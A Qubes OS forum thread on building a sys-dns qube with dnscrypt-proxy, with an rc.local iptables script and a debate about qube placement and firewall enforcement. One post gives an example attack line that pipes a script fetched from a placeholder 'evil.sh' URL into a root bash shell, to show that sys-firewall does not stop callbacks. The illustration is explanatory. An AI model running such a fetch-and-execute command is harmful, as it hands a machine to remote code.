[guide] how-to setup a sys-dns qube

Community Guides
#21

The following solution for /rw/config/rc.local is a lot easier than my suggestion above and survives hotplugging of sys-dns:

#!/bin/sh

# allow redirects to localhost
/usr/sbin/sysctl -w net.ipv4.conf.all.route_localnet=1
/usr/sbin/iptables -I INPUT -i vif+ -p tcp --dport 53 -d 127.0.0.1 -j ACCEPT
/usr/sbin/iptables -I INPUT -i vif+ -p udp --dport 53 -d 127.0.0.1 -j ACCEPT

# there is no place like 127.0.0.1
echo "nameserver 127.0.0.1" > /etc/resolv.conf
echo "nameserver 127.0.0.1" >> /etc/resolv.conf

# enable hotplugging survival
qubesdb-write /qubes-primary-dns 127.0.0.1
qubesdb-write /qubes-secondary-dns 127.0.0.1

# rerun setup of DNAT rules
/usr/lib/qubes/init/network-proxy-setup.sh

# start dnscrypt-proxy
/usr/bin/systemctl start dnscrypt-proxy.service

As written above dnscrypt-proxy has to be installed in sys-dns’ template and at least /etc/dnscrypt-proxy/dnscrypt-proxy.toml has to be set up to your needs inside of the template. As you don’t want the service running in other VMs I suggest to disable dnscrypt-proxy.service in the template.

A separate template is not necessary. From my point of view sys-dns should be placed between sys-firewall and sys-net. One could argue to run the service in sys-net as it is the VM with the biggest attack surface anyway.

#22

From my point of view sys-dns should be placed between sys-firewall and sys-net.

How is sys-dns protected then?

One could argue to run the service in sys-net as it is the VM with the biggest attack surface anyway.

Why would anyone want to put more data/services on the biggest attack surface, thus increasing it?

#23

It is not. However, I am not sure what you mean by “protected”. AFAIK “protection” is offered by AV-solutions. Often they even claim to protect you “military-grade”.

Because you have to put the service somewhere if you want to run dnscrypt-proxy yourself.

Talking about attack surface: every VM has its own attack surface. I assume the biggest attack surface are presented by the apps (webbrowser, email-client, office, instant messenger, asf.) running in AppVMs.

The Qubes-OS-way is to confine these or in this case dnscrypt-proxy.service with Xen in separate VMs, i.e. a disposable sys-dns. You could plug stuff like this

appVM <---> sys-firewall <---> sys-dns <---> sys-net <---> uplink

or you could plug your VMs like this

appVM <---> sys-firewall <---> sys-net <---> uplink
                | *
             sys-dns

or like this

appVM <---> sys-firewall <---> sys-net <---> uplink
                                  | *
                               sys-dns

instead, and

*) enforce strict firewall rules there.

You could also use a pi-hole on a RasPi in your local net and tell your router to point all DNS requests there.

#24

@ckN6QwSZ

It is not.

Why do you suggest such setup then?

However, I am not sure what you mean by “protected”.

The way a firewall protects.

AFAIK “protection” is offered by AV-solutions.

What is AV?

Because you have to put the service somewhere if you want to run dnscrypt-proxy yourself.

The question is why “somewhere” should be the biggest attack surface.

Talking about attack surface: every VM has its own attack surface. I assume the biggest attack surface are presented by the apps (webbrowser, email-client, office, instant messenger, asf.) running in AppVMs.

Previously you said “sys-net is the VM with the biggest attack surface anyway.” Now you are saying other things have the biggest attack surface. I wonder what you are trying to convey.

The Qubes-OS-way is to confine these or in this case dnscrypt-proxy.service with Xen in separate VMs, i.e. a disposable sys-dns. You could plug stuff like this […]

Your examples contradict what the docs recommend (which I hoped is the Qubes OS way). Are the docs wrong? Or are you simply discussing what is possible (“could”) rather than what is better from security perspective (“should”)?

#25

Let me shortly clarify your confusion with the doc:

The Qubes firewall is always implemented in the next downstream (or upstream depending on your notion of that word) VM/Qube regardless of the VM name. The name of a VM doesn’t imply any functionality for Qubes OS.

So if you have
sys-net <–> sys-firewall-1 <–> network service qube <–> [client qubes]
(i.e. without sys-firewall-2 which you deem unnecessary)
the rules for [client qubes] are enforced in your network service qube.
That is the reason why the doc tells you to not mess with the firewall rules in firewall service qubes (in this case the network service qube) and guides you towards the architecture with sys-firewall-2.
sys-firewall-1 only enforces rules for the network service qube and not for any [client qubes] as you seem to think.

IIRC I wrote the doc back in the days after I had had some discussion with Marek about exactly that topic. Feel free to update it though if you find more clear words.

Also, IIRC nftables supersedes iptables, i.e. there’s no duplicate use. You’ll notice that every iptables rule has a corresponding nftables rule simply because the kernel only keeps the nftables rules and translates legacy iptables instructions to nftables.

Fyi: Some time ago I published [1] to simplify the setup process of a DNS VM.

[1] GitHub - 3hhh/qubes-dns: DNS VM helper scripts

1 Like
#26

I’m not suggesting an all-in-one solution. Security is a process, not a state. In Qubes-OS xen is isolating VMs from each other. However, in every VM where you can do a

curl -s http://google.com | less

sucessfully, an attacker could do a

curl -sk https://somewhere.org/evil.sh | sudo /bin/bash

given he got RCE (remote code execution). As port 443 and 80 on remote hosts are reachable an attacker can use either one for a callback.

There are different kinds of firewalls. sys-firewall does not protect against a reverse shell or any other malicious code execution as shown (easily reproducible) above. On the contrary it provides connectivity.

Antivirus like Microsoft Defender.

Decide yourself. If I understand @tripleh correctly, he suggests to place your dns resolver inside an appVM of your choice and do not mess with iptables if you don’t know what you are doing.

Me, too! :wink: